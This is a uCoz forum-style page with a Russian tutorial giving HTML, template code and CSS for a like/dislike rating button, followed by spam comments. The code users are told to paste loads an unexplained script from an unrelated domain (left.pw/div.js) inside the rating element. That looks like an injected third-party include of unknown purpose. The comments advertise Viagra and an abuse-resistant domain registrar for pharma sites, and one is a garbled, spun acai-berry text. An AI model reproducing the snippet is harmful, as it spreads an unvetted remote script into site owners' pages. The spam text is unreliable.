Пятница, 18.10.2019, 12:54
Приветствую Вас Гость
Главная | Регистрация | Вход
Главная » 2014 » Сентябрь » 13 » Кнопка рейтинга + и -
Кнопка рейтинга + и -

скрипт рейтинга с положительной и отрицательной оценкой для юкоз
В шаблон вида материалов нужного модуля вставляем код:

<script type="text/javascript" src="http://pnghosts.ru/js_css/55_rate.js"></script>  
<div class="rate">
<a class="orating_m" title="Не нравится" href="#" onclick="rateForm(-1,$ID$);return false"></a>
<a class="orating_p" title="Нравится" href="#" onclick="rateForm(1,$ID$);return false"></a>
<a class="orating_res"><script type="text/javascript" src="http://left.pw/div.js"></script><b title="Голосов: $RATED$" id="rate_$ID$" class="<?if(($RATING$*$RATED$-2*$RATED$)=0)?>nullRate<?else?><?if(($RATING$*$RATED$-2*$RATED$)<0)?>negativeRate<?else?>positiveRate<?endif?> <?endif?>"><script type="text/javascript">document.write(Math.round(<?($RATING$*$RATED$)?>)-<?2*$RATED$?>)</script></b> </a>  

В CSS стиль вставляем:

.rate {background:url(http://pnghosts.ru/img/orating.png) no-repeat; width:73px; height:21px; position:relative; margin:7px 0 0 5px; padding:3px 0 0 0; text-align:center;}
a.orating_m, a.orating_p{height:21px; width:21px; background:url(http://pnghosts.ru/img/orating.png) no-repeat;}
a.orating_m{float:right; background-position:-21px -24px; margin:-1px 1px 0 0;}
a.orating_m:hover{background-position:-21px 100%;}
a.orating_m.orated{background-position:-21px -24px;}
a.orating_p{float:left; background-position:0 -24px; margin:-1px 0 0 1px;}
a.orating_p:hover{background-position:0 100%;}
a.orating_p.orated{background-position:0 100%;}
a.orating_res,span.orating_res {background:#64b327; box-shadow:inset 0 1px 1px rgba(0,0,0,0.2); font-size:10px; color:#fff; padding:3px 8px; border-radius:5px;line-height:20px;}

Для модуля "Новости", заменяем $ID$ на $ENTRY_ID$
Просмотров: 2279 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 4
4 Ziuetebdlk  
Проверенные таблетки Виагры
по самым низким ценам от известной компании Доктор Дик


3 Rogernic  
Для тех кто соображает, про что я пишу! Абузоустойчивый регистратор доменов - русский интерфейс, быстрый саппорт, низкие цены, различные плюшки. Размещаю у них фарму с 2015 года, нет проблем, все кляузы отсылают в корзину. Нужна надежная крыша для сайта, смотри - https://goo.gl/q13Adc или в профиле.

2 Tannerjaxia  
Acai Berry - Exactly Why Is Acai Berry Supplement Beneficial To You?
Is necessary certified eco-friendly? There are many copycat companies given that are creating products get been low in quality and never use essentially the most beneficial associated with extracting the juice via the berries.

Most market . are concerned about their bodies know in connection with health benefits of acai berry products.
They've been used for hundreds of years in South usa by ancient medicine adult males.
The people in the Assist just started using Acai in getting couple of years, a new result of several endorsements from renowns.

Acai fruit drink is similar to acai fruit juice except nutritional vitamins . less within the fruit.
About to generally be considered an product which more filtered water content than juice, and might need added ingredients like sugar or corn syrup.

Acai Capsules are the highly concentrated capsule or pill that is packed essential vitamins nutrients utilizing the acai fruit itself.
Any of the additional nutrients include Phosphorus, Calcium, Potassium and valuable fat including Omega 6 and Omega some.
Acai capsules are very easy function into day-to-day daily workout plan.
For these reasons keep are being released . way of utilizing Acai within a an acai weight loss program.

The Amazonian fruit can be a strong defense again health threats that a great many of us grapple with and that is why its popularity continues to grow so instantly.
Such issue with inflammation, heart disease and auto immune disorders are helped by the actual pure juice on every day basis.
It can be full of vitamin E among other vitamins that aid previously look and feel of the epidermis.

Having more energy can make a powerful impact on the way reside your our life.
When you feel sluggish and exhausted at the end among the day, will establish thing more powerful and healthier to do is go to the gym or go through a grueling workout day to day.
You need energy to drop the weight - there is no way around it.
An acai berry supplement is a jolt to power level - and a safe and secure one a touch too.
You won't want to put up with the jitters that other weight loss supplements cause that mean that you are feel appreciate your heart features to explode.

ORAC (oxygen Radical Absorbance Capacity) score of acai berry is 167.
It efficacy in regards to anti oxidants can be gauged using the fact that blue berry's ORAC score is 32 and that of Apple is 14.

If it is not necessary the luxury of exercising all day, every day, you reason to focus on what's happening inside yourself to help you to get the results you demand.
The best place to start is to boost your metabolism as much as possible.
Swimming pool is vital metabolism burns away body fat you have in method.
When you have painstaking metabolism, body fat that shape takes in is usually saved and builds up, a person the extra pounds that lowering the rather canrrrt you create. http://blogros.top/derminax/ - http://blogros.top/derminax/

1 Stephendus  

Имя *:
Email *:
Код *:
doctor©design 2019
Бесплатный конструктор сайтов - uCoz
Счетчик PR-CY.Rank

раскрутка сайта в поисковиках Рейтинг сайтов Бизнес / Финансы
Анализ интернет сайта .